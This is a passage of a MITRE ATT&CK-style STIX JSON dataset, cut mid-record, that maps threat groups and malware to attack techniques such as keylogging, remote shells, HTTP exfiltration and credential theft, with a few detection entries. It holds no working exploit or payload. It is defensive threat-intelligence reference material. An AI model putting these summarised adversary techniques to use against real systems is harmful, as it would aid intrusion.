device.(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"malware--880f7b3e-ad27-4158-8b03-d44c9357950b","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--953f1fa1-82c5-4137-b9f1-257c33c1f803","created":"2024-09-16T09:13:14.685Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:13:14.685Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) used encrypted payloads decrypted and executed in memory.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95415ffd-265d-448f-bb39-73c7721d5c42","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft BITSAdmin","description":"Microsoft. (n.d.). BITSAdmin Tool. Retrieved January 12, 2018.","url":"https://msdn.microsoft.com/library/aa362813.aspx"}],"modified":"2020-03-16T17:51:37.946Z","description":"[BITSAdmin](https://attack.mitre.org/software/S0190) can be used to create [BITS Jobs](https://attack.mitre.org/techniques/T1197) to upload files from a compromised host.(Citation: Microsoft BITSAdmin)","relationship_type":"uses","source_ref":"tool--64764dc6-a032-495f-8250-1e4c06bdc163","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95416174-bdf3-4ffc-9174-6b89d4b72cd4","created":"2024-02-12T19:02:56.396Z","revoked":false,"external_references":[{"source_name":"Mandiant Pulse Secure Update May 2021","description":"Perez, D. et al. (2021, May 27). Re-Checking Your Pulse: Updates on Chinese APT Actors Compromising Pulse Secure VPN Devices. Retrieved February 5, 2024.","url":"https://www.mandiant.com/resources/blog/updates-on-chinese-apt-compromising-pulse-secure-vpn-devices"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-12T19:02:56.396Z","description":"(Citation: Mandiant Pulse Secure Update May 2021)","relationship_type":"uses","source_ref":"intrusion-set--c1aab4c9-4c34-4f4f-8541-d529e46a07f9","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9548ed41-931a-4d95-8256-b3fcad5914ad","type":"relationship","created":"2021-12-01T18:01:54.383Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-12-01T18:01:54.383Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can download additional plug-ins to a compromised host.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--954961e4-0bf5-496e-b200-e63d99c006de","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/","description":"Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.","source_name":"Crowdstrike DNC June 2016"},{"url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf","description":"ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.","source_name":"ESET Sednit Part 2"},{"source_name":"DOJ GRU Indictment Jul 2018","description":"Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.","url":"https://www.justice.gov/file/1080281/download"}],"modified":"2020-03-16T16:29:11.894Z","description":"[CHOPSTICK](https://attack.mitre.org/software/S0023) is capable of performing keylogging.(Citation: Crowdstrike DNC June 2016)(Citation: ESET Sednit Part 2)(Citation: DOJ GRU Indictment Jul 2018)","relationship_type":"uses","source_ref":"malware--ccd61dfc-b03f-4689-8c18-7c97eab08472","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--954a1ee1-454a-4d1a-b922-620f755887b3","created":"2024-07-30T14:07:31.304Z","revoked":false,"external_references":[{"source_name":"CERT-UA WinterVivern 2023","description":"CERT-UA. (2023, February 1). UAC-0114 aka Winter Vivern to target Ukrainian and Polish GOV entities (CERT-UA#5909). Retrieved July 29, 2024.","url":"https://cert.gov.ua/article/3761104"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:07:31.304Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) delivered a PowerShell script capable of recursively scanning victim machines looking for various file types before exfiltrating identified files via HTTP.(Citation: CERT-UA WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--954c6284-d1eb-48f1-96a4-1ed81b063d82","type":"relationship","created":"2020-03-20T21:28:53.091Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"},{"source_name":"CheckPoint Redaman October 2019","url":"https://research.checkpoint.com/2019/ponys-cc-servers-hidden-inside-the-bitcoin-blockchain/","description":"Eisenkraft, K., Olshtein, A. (2019, October 17). Pony’s C&C servers hidden inside the Bitcoin blockchain. Retrieved June 15, 2020."},{"source_name":"Unit42 Redaman January 2019","url":"https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/","description":"Duncan, B., Harbison, M. (2019, January 23). Russian Language Malspam Pushing Redaman Banking Malware. Retrieved June 16, 2020."}],"modified":"2020-06-16T20:51:14.301Z","description":"[RTM](https://attack.mitre.org/software/S0148) has used an RSS feed on Livejournal to update a list of encrypted C2 server names. [RTM](https://attack.mitre.org/software/S0148) has also hidden [Pony](https://attack.mitre.org/software/S0453) C2 server IP addresses within transactions on the Bitcoin and Namecoin blockchain.(Citation: ESET RTM Feb 2017)(Citation: CheckPoint Redaman October 2019)(Citation: Unit42 Redaman January 2019)","relationship_type":"uses","source_ref":"malware--92ec0cbd-2c30-44a2-b270-73f4ec949841","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9553062d-2207-4990-b9d4-a29f75628bd5","type":"relationship","created":"2021-09-02T16:01:58.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf","description":"Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.","source_name":"Proofpoint Operation Transparent Tribe March 2016"}],"modified":"2021-10-15T14:37:09.650Z","description":"[Transparent Tribe](https://attack.mitre.org/groups/G0134) has crafted malicious files to exploit CVE-2012-0158 and CVE-2010-3333 for execution.(Citation: Proofpoint Operation Transparent Tribe March 2016)","relationship_type":"uses","source_ref":"intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--956078f0-e1b1-4be7-9bf3-f03630ec3f1b","created":"2022-06-10T12:35:36.942Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has obtained passwords and session tokens with the use of the Redline password stealer.(Citation: MSTIC DEV-0537 Mar 2022)","modified":"2022-06-10T12:35:36.942Z","relationship_type":"uses","source_ref":"intrusion-set--d8bc9788-4f7d-41a9-9e9d-ee1ea18a8cf7","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95618672-6f7f-4055-9c96-29f75e276d5b","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Cobalt Group July 2018","description":"Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.","url":"https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html"},{"source_name":"Secureworks GOLD KINGSWOOD September 2018","url":"https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish","description":"CTU. (2018, September 27). Cybercriminals Increasingly Trying to Ensnare the Big Financial Fish. Retrieved September 20, 2021."}],"modified":"2021-09-21T14:51:42.148Z","description":"[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails with URLs pointing to malicious documents.(Citation: Talos Cobalt Group July 2018)(Citation: Secureworks GOLD KINGSWOOD September 2018)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--956303a4-558c-433d-bc2f-28a7e69192ae","type":"relationship","created":"2017-05-31T21:33:27.054Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf","description":"Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.","source_name":"Baumgartner Naikon 2015"}],"modified":"2019-04-10T15:59:09.304Z","description":"(Citation: Baumgartner Naikon 2015)","relationship_type":"uses","source_ref":"intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050","target_ref":"malware--7f8730af-f683-423f-9ee1-5f6875a80481","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9567076b-2a77-43e4-befd-19556def9d47","created":"2022-03-30T14:26:51.876Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"sus mofcomp","description":"detection.fyi. (2023, October 28). Potential Suspicious Mofcomp Execution. Retrieved February 9, 2024.","url":"https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mofcomp_execution/"},{"source_name":"sus mofcomp dos","description":"The DFIR Report. (2023, January 8). proc_creation_win_mofcomp_execution.yml. Retrieved February 9, 2024.","url":"https://github.com/The-DFIR-Report/Sigma-Rules/blob/main/rules/windows/process_creation/proc_creation_win_mofcomp_execution.yml"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T16:59:53.629Z","description":"Monitor newly executed processes that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).\n\nNote: Windows Event ID 4688 (A new process has been created) and Sysmon Event ID 1 (Process creation) can be used to alert on processes created by WMI event subscription triggers by filtering on events with a parent process name of WmiPrvSe.exe.\n\nMonitor for execution of mofcomp.exe as a child of a suspicious shell or script running utility – \\powershell.exe or \\cmd.exe – or by having a suspicious path in the command line, such as %temp%.(Citation: sus mofcomp)(Citation: sus mofcomp dos) Adversaries may compile modified MOF files using mofcomp.exe to create malicious WMI event subscriptions. ","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9569bfcd-38f8-4cb7-8470-a473ea9e4328","created":"2020-05-08T17:01:36.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Group IB Silence Sept 2018","description":"Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.","url":"https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T14:30:32.222Z","description":"[Silence](https://attack.mitre.org/groups/G0091) has used compromised credentials to log on to other systems and escalate privileges.(Citation: Group IB Silence Sept 2018)","relationship_type":"uses","source_ref":"intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95747003-2c4a-4e4a-ad9d-fde75f04f406","created":"2021-01-22T13:48:21.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.424Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used net localgroup administrators to identify accounts with local administrative rights.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--957e1f09-4474-4c22-a7fd-7d70d3be61ff","created":"2019-06-05T17:31:22.434Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro Ursnif Mar 2015","description":"Caragay, R. (2015, March 26). URSNIF: The Multifaceted Malware. Retrieved June 5, 2019.","url":"https://web.archive.org/web/20210719165945/https://www.trendmicro.com/en_us/research/15/c/ursnif-the-multifaceted-malware.html?_ga=2.165628854.808042651.1508120821-744063452.1505819992"},{"source_name":"ProofPoint Ursnif Aug 2016","description":"Proofpoint Staff. (2016, August 25). Nightmare on Tor Street: Ursnif variant Dreambot adds Tor functionality. Retrieved June 5, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality"},{"source_name":"FireEye Ursnif Nov 2017","description":"Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019.","url":"https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:11:54.893Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used HTTPS for C2.(Citation: TrendMicro Ursnif Mar 2015)(Citation: FireEye Ursnif Nov 2017)(Citation: ProofPoint Ursnif Aug 2016)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--957f81a6-81cb-4279-8c88-1a0a73c2e0d6","type":"relationship","created":"2020-03-18T15:59:09.109Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.","url":"https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/","source_name":"Malwarebytes DarkComet March 2018"}],"modified":"2020-03-18T15:59:09.109Z","description":"[DarkComet](https://attack.mitre.org/software/S0334) can launch a remote shell to execute commands on the victim’s machine.(Citation: Malwarebytes DarkComet March 2018)","relationship_type":"uses","source_ref":"malware--53ab35c2-d00e-491a-8753-41d35ae7e547","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95801883-3fa4-4385-a48f-4a92dd8e1e09","type":"relationship","created":"2021-01-14T20:08:49.580Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-14T20:08:49.580Z","description":"[BlackMould](https://attack.mitre.org/software/S0564) has the ability to find files on the targeted system.(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95805281-96b1-49ea-95ee-9d654178c5c3","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"}],"modified":"2019-03-22T19:57:37.261Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) typically use ping and [Net](https://attack.mitre.org/software/S0039) to enumerate systems.(Citation: Secureworks BRONZE BUTLER Oct 2017)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9582015e-a920-4e26-9350-c61872f4637b","created":"2022-03-30T14:26:51.873Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for API calls associated with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators, such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken. ","modified":"2022-07-08T13:08:44.489Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95842c88-c596-44c7-a16e-40d98e2457cc","type":"relationship","created":"2017-05-31T21:33:27.061Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/","description":"Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved August 17, 2016.","source_name":"Palo Alto DNS Requests"}],"modified":"2019-05-30T18:05:32.934Z","description":"(Citation: Palo Alto DNS Requests)","relationship_type":"uses","source_ref":"intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648","target_ref":"malware--b96680d1-5eb3-4f07-b95c-00ab904ac236","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--958b9dfc-1c5b-490c-86c5-137e0def493e","type":"relationship","created":"2020-05-18T21:01:51.376Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET LoudMiner June 2019","url":"https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/","description":"Malik, M. (2019, June 20). LoudMiner: Cross-platform mining in cracked VST software. Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.371Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) deleted installation files after completion.(Citation: ESET LoudMiner June 2019)","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--958d5dfd-89f6-4563-bfcd-1999e35d40be","type":"relationship","created":"2020-10-20T15:47:55.146Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:01:00.388Z","description":"This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.","relationship_type":"mitigates","source_ref":"course-of-action--78bb71be-92b4-46de-acd6-5f998fedf1cc","target_ref":"attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--959092cf-5647-4c25-b64e-3e84061511a5","type":"relationship","created":"2022-03-22T17:21:33.177Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."},{"source_name":"Malwarebytes RokRAT VBA January 2021","url":"https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/","description":"Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022."}],"modified":"2022-03-22T20:09:04.816Z","description":"[ROKRAT](https://attack.mitre.org/software/S0240) can decrypt strings using the victim's hostname as the key.(Citation: Volexity InkySquid RokRAT August 2021)(Citation: Malwarebytes RokRAT VBA January 2021)","relationship_type":"uses","source_ref":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95914d60-80b6-432b-945a-316b93cb2a13","type":"relationship","created":"2019-09-16T18:46:37.655Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.","url":"https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/","source_name":"Security Intelligence More Eggs Aug 2019"}],"modified":"2019-09-16T18:46:37.655Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) has used fake job advertisements sent via LinkedIn to spearphish targets.(Citation: Security Intelligence More Eggs Aug 2019)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--f6ad61ee-65f3-4bd0-a3f5-2f0accb36317","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95954093-498a-4f5f-93b4-904632fdfbbb","created":"2023-06-14T21:35:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"RotaJakiro 2021 netlab360 analysis","description":" Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.","url":"https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-14T08:48:05.676Z","description":"Depending on the Linux distribution and when executing with root permissions, [RotaJakiro](https://attack.mitre.org/software/S1078) may install persistence using a `.service` file under the 